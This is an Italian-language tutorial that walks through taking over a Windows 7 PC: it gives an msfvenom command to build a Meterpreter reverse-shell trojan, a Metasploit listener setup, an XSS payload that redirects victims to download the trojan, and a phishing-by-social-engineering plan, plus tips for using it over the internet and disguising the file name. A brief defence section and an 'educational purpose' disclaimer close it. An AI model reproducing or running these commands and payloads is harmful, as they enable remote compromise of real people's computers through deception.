In questo articolo vedremo come prendere possesso di un PC remoto
utilizzando un attacco XSS.
Il laboratorio sarà costituito da due macchine, una con sistema operativo
Kali Linux e l’altra con sistema operativo Windows 7.
L'attaccante invia una mail, creata con tecniche di social engineering, per
convincere la vittima ad aprire un sito web (vulnerabile a XSS) e scaricare
il file dannoso (un trojan) che gli permetterà di assumere il controllo del
PC della vittima.
Gli strumenti che utilizzeremo per portare a termine l’attacco saranno:
- Kali Linux
- Windows 7
- Metasploit
- Mozilla Firefox
Vediamo innanzitutto come viene realizzato il trojan adatto a questa
tipologia di attacco informatico. Chi è pratico di Metasploit avrà già
intuito che utilizzeremo msfvenom.
Apriamo una shell in Kali Linux e digitiamo questi semplici comandi
per creare il nostro trojan.
msfvenom -p windows/meterpreter/reverse_tcp --platform windows-a x86 -f exe LHOST=192.168.1.196 LPORT=4444 -o /root/Desktop/trojan.exe
LHOST
è l’IP della macchina su cui gira Kali Linux, che possiamo
ottenere da un terminale digitando ifconfig, mentre la LPORT
è la
porta predefinita di ascolto di Metasploit. Possiamo scegliere una porta
qualsiasi da associare al campo LPORT
.
Potremmo pensare di inviare direttamente il trojan alla nostra vittima, ma oramai tutti i client di posta elettronica riconoscono questo tipo di file. Su Gmail, così come in altri client web, non è possibile caricare il nostro file:
Il file generato va quindi caricato su di un server da cui potrà essere
scaricato in un secondo momento. Ci sono molti siti che offrono questa
tipologia di servizi, ma ovviamente il più sicuro sarà un server proprio
dedicato all’attacco.
I più comuni servizi di upload effettuano uno scanning dei file
prima di caricarli e ne bloccano l’upload se risultano sospetti.
Una volta effettuato l’upload del file malevolo, otterremo un link per il
suo download, del tipo https://ufile.io/cidxd.
Creato il trojan e salvato su un server per il download, non ci
resta che andare alla ricerca di una web application che sia vulnerabile al Cross Site Scripting (XSS), o in
alternativa realizzeremo un sito ad hoc che risulti vulnerabile a questa tipologia di attacco, da
utilizzare come tramite per fare scaricare il malware alla nostra vittima.
Dato che scansionare siti alla ricerca di vulnerabilità tipo la XSS
rappresenta potenzialmente un reato o comunque ci si potrebbe beccare una
denuncia da parte del proprietario del sito web, meglio non rischiare.
Creeremo noi un sito web vulnerabile a un attacco XSS.
Ovviamente il sito web dovrà ispirare fiducia e rassicurare l’utente che quello che sta
succedendo è del tutto normale.
Cliccato il link che inseriremo nella mail, se tutto funzionerà a dovere,
la vittima verrà reindirizzata sulla web application vulnerabile al Cross
Site Scripting e verrà avviato il download del Trojan.
Trovata la web application http://example.com/, effettuiamo un primo
test per verificare che tutto funzioni correttamente.
Ora mettiamoci in attesa per la connessione che il trojan invierà quando sarà
attivato.
Apriamo una shell in Kali Linux e digitiamo:
Msfconsole
Attendiamo il caricamento e poi digitiamo questi semplici comandi, uno alla volta:
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.1.196
exploit
Caricato il trojan e avviata la sessione di meterpreter, andiamo a inserire nella casella di ricerca della web application il seguente codice:
XSS Payload => <script>alert("Download esito prova di Ammissione "); window.location.href="https://ufile.io/cidxd"</script>
Il codice viene eseguito come desiderato e il download del trojan si avvia.
Lo step successivo consiste nel
confezionare una mail da inviare alla nostra vittima, utilizzando delle
tecniche di social engineering.
Per realizzare una ottima mail con tecniche di social engineering dobbiamo
conoscere molto bene la nostra vittima, le sue abitudini, le sue passioni,
il suo lavoro. Non entreremo nel merito in questa sede, limitandoci a supporre di avere realizzato questa mail e di
averla inviata.
La vittima controllerà la posta, aprirà la nostra mail e, nella migliore ipotesi (o peggiore, a seconda dei punti di vista) farà click sul nostro URL.
Aperta la sessione con il comando sysinfo, l’attaccante avrà già le prime preziose informazioni.
Noto il sistema operativo, si può iniziare a preparare l’attacco mirato e la privilege escalation, ottenendo il controllo completo della macchina.
Alcune osservazioni
-
L’exploit è stato utilizzato in una intranet, per testarlo online basta
sostituire l’IP privato con quello pubblico. - Questo exploit può essere applicato anche ad altre versioni di Windows (con qualche opportuna modifica).
-
Nell’esempio, si è lasciato il nome trojan.exe per tenere bene a mente
cosa stavamo facendo, un nome più appropriato sarebbe stato scelto sempre sfruttando la social engineering. -
Il successo dell’attacco dipende molto dalle tecniche di social
engineering utilizzate.
Come difendersi
Un hacker professionista punta molto su queste tecniche per raggiungere il
proprio obiettivo. L’utente vittima ha poche difese da mettere in gioco.
Per ostacolare il piu possibile questi tentativi di attacco, bisogna avere
l’accortezza di:
- Tenere aggiornato il proprio antivirus
- Evitare di aprire email ricevute da mittenti sconosciuti
- Controllare sempre i link che si ricevono per posta
- Controllare sempre i re-indirizzamenti
Applicando queste semplici regole sarà molto difficile per un hacker
impadronirsi del vostro PC.
Si noti, infine, che questo articolo ha puro scopo educativo ed è stato eseguito in
ambiente controllato. Eventuali tentativi di replica su siti web o
indirizzi IP pubblici costituiscono reato informatico.